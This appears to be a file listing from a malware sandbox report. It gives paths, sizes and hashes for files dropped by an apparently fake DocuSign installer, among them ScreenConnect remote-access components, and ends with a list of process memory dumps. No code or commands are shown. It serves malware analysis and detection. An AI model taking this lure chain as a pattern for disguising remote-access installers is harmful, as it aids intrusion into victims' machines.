                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 944B
                      • SHA256 7584152ef93be4dc497db509c723f20a1fd09d69df02d62c897eefda6bf4c737
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 944B
                      • SHA256 44d41ba84ea23885698016185c472cb1f1650c2bfb98fee085fb6dd033d0f517
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      setup.exe
                      • Path C:\Users\Admin\AppData\Local\Temp\DocuSign_500125759\setup.exe
                      • Size 5.4MB
                      • SHA256 792f3352f19e124b88c4f37b2e23637b0d475b82636c0a17976adfcfb16291c3
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      setup.hta
                      • Path C:\Users\Admin\AppData\Local\Temp\DocuSign_500125759\setup.hta
                      • Size 12KB
                      • SHA256 fdc24883a1d95bd21621c7426124fefba49bfcc959c1c774a4d5dab6893689fc
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      setup.msi
                      • Path C:\Users\Admin\AppData\Local\Temp\DocuSign_500125759\setup.msi
                      • Size 3.1MB
                      • SHA256 128b98c74f2e348978f9d440ee79a8be06ba829e5b29cb3862c21b69d11f83b5
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      __PSScriptPolicyTest_tdkiiidz.jmw.ps1
                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tdkiiidz.jmw.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      MSI2248.tmp
                      • Path C:\Windows\Installer\MSI2248.tmp
                      • Size 1.0MB
                      • SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      Microsoft.Deployment.WindowsInstaller.dll
                      • Path C:\Windows\Installer\MSI2248.tmp-\Microsoft.Deployment.WindowsInstaller.dll
                      • Size 172KB
                      • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ScreenConnect.Core.dll
                      • Path C:\Windows\Installer\MSI2248.tmp-\ScreenConnect.Core.dll
                      • Size 539KB
                      • SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ScreenConnect.InstallerActions.dll
                      • Path C:\Windows\Installer\MSI2248.tmp-\ScreenConnect.InstallerActions.dll
                      • Size 11KB
                      • SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ScreenConnect.Windows.dll
                      • Path C:\Windows\Installer\MSI2248.tmp-\ScreenConnect.Windows.dll
                      • Size 1.6MB
                      • SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      MSI2AC6.tmp
                      • Path C:\Windows\Installer\MSI2AC6.tmp
                      • Size 202KB
                      • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      MSI71AA.tmp
                      • Path C:\Windows\Installer\MSI71AA.tmp
                      • Size 211KB
                      • SHA256 c8d190d5be1efd2d52f72a72ae9dfa3940ab3faceb626405959349654fe18b74
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      icon.ico
                      • Path C:\Windows\Installer\{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}\icon.ico
                      • Size 73KB
                      • SHA256 406c793c20be6bdde619ab7c1385567dafd7ae923cdca08db0b9390fa810e9c3
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      DocuSignPrintDriver-manifest.ini
                      • Path C:\Windows\System32\DriverStore\Temp\{e434e38c-f38d-7647-801e-bc8ddfac301e}\DocuSignPrintDriver-manifest.ini
                      • Size 310B
                      • SHA256 9e966d996c1d8d1ff75ee88149a4a643bfb38cb15782d09e0bb1e5c3bdbc99d4
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      DocuSignPrintDriver.cat
                      • Path C:\Windows\System32\DriverStore\Temp\{e434e38c-f38d-7647-801e-bc8ddfac301e}\DocuSignPrintDriver.cat
                      • Size 14KB
                      • SHA256 2da262dd6e712a8b004514c8f0c200cfc66e3966c0e94742db0296d614b37138
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      DocuSignPrintDriver.gpd
                      • Path C:\Windows\System32\DriverStore\Temp\{e434e38c-f38d-7647-801e-bc8ddfac301e}\DocuSignPrintDriver.gpd
                      • Size 7KB
                      • SHA256 e0e613d160e111ba986dc0236eda0b49c3ab366726a6ba7c854045705e527b13
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      DocuSignPrintDriver.inf
                      • Path C:\Windows\System32\DriverStore\Temp\{e434e38c-f38d-7647-801e-bc8ddfac301e}\DocuSignPrintDriver.inf
                      • Size 1KB
                      • SHA256 42e68146c8d32a0bd74dda73b85feffbdf9b885f4a97bd7141d1f94668c44078
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      DocuSignPrintDriverRenderFilter-PipelineConfig.xml
                      • Path C:\Windows\System32\DriverStore\Temp\{e434e38c-f38d-7647-801e-bc8ddfac301e}\DocuSignPrintDriverRenderFilter-PipelineConfig.xml
                      • Size 448B
                      • SHA256 a96b4537a0d8376f39fea4db773fced24879d5ce7044e4e19ec4690810962b1a
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      DocuSignPrintDriverRenderFilter.dll
                      • Path C:\Windows\System32\DriverStore\Temp\{e434e38c-f38d-7647-801e-bc8ddfac301e}\DocuSignPrintDriverRenderFilter.dll
                      • Size 515KB
                      • SHA256 e0fcfad4cf7efc566a6890f326c4971a7523adc4c83902cb26cb852bbc73e2d9
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      2ab29353.gpd
                      • Path C:\Windows\System32\spool\V4Dirs\822C3FBC-C8E9-4EAD-85F6-515DB7173DB6\2ab29353.gpd
                      • Size 21KB
                      • SHA256 2498e523a459f6bf51436e0bd23a449bd6f6e7a3f7f50bde0484427942915839
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      BootstrapperCore.config
                      • Path C:\Windows\Temp\{02ED396F-7B08-45E3-A4BF-ED5A1561DFA5}\.ba\BootstrapperCore.config
                      • Size 1KB
                      • SHA256 e9b4b48a7445e774ac7907c77606f1964aaa33b4725311ac336ed8f59f0bad79
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      BootstrapperCore.dll
                      • Path C:\Windows\Temp\{02ED396F-7B08-45E3-A4BF-ED5A1561DFA5}\.ba\BootstrapperCore.dll
                      • Size 87KB
                      • SHA256 f2c2b3ce2df70a3206f3111391ffc7b791b32505fa97aef22c0c2dbf6f3b0426
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      DocuSign.BootstrapperApplication.dll
                      • Path C:\Windows\Temp\{02ED396F-7B08-45E3-A4BF-ED5A1561DFA5}\.ba\DocuSign.BootstrapperApplication.dll
                      • Size 181KB
                      • SHA256 6e3f9ceda653c6b58f3f8ce13eeb143971d7af489df6d4cdadb18ce380a1d8f7
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      mbahost.dll
                      • Path C:\Windows\Temp\{02ED396F-7B08-45E3-A4BF-ED5A1561DFA5}\.ba\mbahost.dll
                      • Size 119KB
                      • SHA256 9dfa1bc5d2ab4c652304976978749141b8c312784b05cb577f338a0aa91330db
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      MainPackage
                      • Path C:\Windows\Temp\{02ED396F-7B08-45E3-A4BF-ED5A1561DFA5}\MainPackage
                      • Size 3.4MB
                      • SHA256 6e4f0f8335e1e468700772213bac21575deb0a1c1405a33b721335feb8a9399f
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ko.mst
                      • Path C:\Windows\Temp\{02ED396F-7B08-45E3-A4BF-ED5A1561DFA5}\ko.mst
                      • Size 32KB
                      • SHA256 985c5ba80fa400378b84cfba6bcf7856fa09c08482784758d85c12a821abf05e
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      setup.exe
                      • Path C:\Windows\Temp\{6FD3AC6C-C3D3-49EE-8409-0F34C6C7AFA3}\.cr\setup.exe
                      • Size 1.6MB
                      • SHA256 191d60a7e20d917fa118b4ab76a98d719f88ccd78b7474d85ebe1e874e5aa5b6
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      memory/2292-161-0x00000000040D0000-0x0000000004111000-memory.dmp
                      Download

                      memory/2292-163-0x0000000004630000-0x0000000004705000-memory.dmp
                      Download

                      memory/2292-159-0x0000000004450000-0x00000000044E2000-memory.dmp
                      Download

                      memory/2292-158-0x0000000004160000-0x0000000004196000-memory.dmp
                      Download

                      memory/2292-154-0x0000000004110000-0x0000000004160000-memory.dmp
                      Download

                      memory/2292-143-0x0000000003D60000-0x0000000003D78000-memory.dmp
                      Download

                      memory/2404-12-0x00007FF88A6A0000-0x00007FF88A969000-memory.dmp
                      Download

                      memory/2404-1-0x00000231B8F30000-0x00000231B8F52000-memory.dmp
                      Download

                      memory/2404-0-0x00007FF88A6A0000-0x00007FF88A969000-memory.dmp
                      Download

                      memory/3296-255-0x00000000048E0000-0x00000000048F8000-memory.dmp
                      Download

                      memory/3296-262-0x0000000006FF0000-0x0000000007024000-memory.dmp
                      Download

                      memory/3320-90-0x0000000004D40000-0x0000000004D6E000-memory.dmp
                      Download

                      memory/3320-94-0x0000000004D80000-0x0000000004D8A000-memory.dmp
                      Download

                      memory/3320-98-0x0000000004E20000-0x0000000004EAE000-memory.dmp
                      Download

                      memory/3320-102-0x0000000005060000-0x000000000520C000-memory.dmp
                      Download

                      memory/3320-103-0x00000000057C0000-0x0000000005D64000-memory.dmp
                      Download

                      memory/3900-192-0x000000001B510000-0x000000001B551000-memory.dmp
                      Download

                      memory/3900-191-0x0000000002AA0000-0x0000000002AB8000-memory.dmp
                      Download

                      memory/3900-190-0x0000000002A60000-0x0000000002A78000-memory.dmp
                      Download

                      memory/3900-182-0x000000001B8D0000-0x000000001B95E000-memory.dmp
                      Download

                      memory/3900-189-0x000000001CD70000-0x000000001CEF6000-memory.dmp
                      Download

                      memory/3900-183-0x000000001BB10000-0x000000001BCBC000-memory.dmp
                      Download

                      memory/3900-179-0x0000000000960000-0x00000000009F8000-memory.dmp
                      Download

                      memory/3900-180-0x0000000002BE0000-0x0000000002C16000-memory.dmp
                      Download

                      memory/4128-362-0x00000277B8980000-0x00000277B8986000-memory.dmp
                      Download

                      memory/4128-360-0x00000277B8A20000-0x00000277B8A4E000-memory.dmp
                      Download

                      memory/5100-14-0x00007FF88A6A0000-0x00007FF88A969000-memory.dmp
                      Download

                      memory/5100-25-0x00007FF88A6A0000-0x00007FF88A969000-memory.dmp
                      Download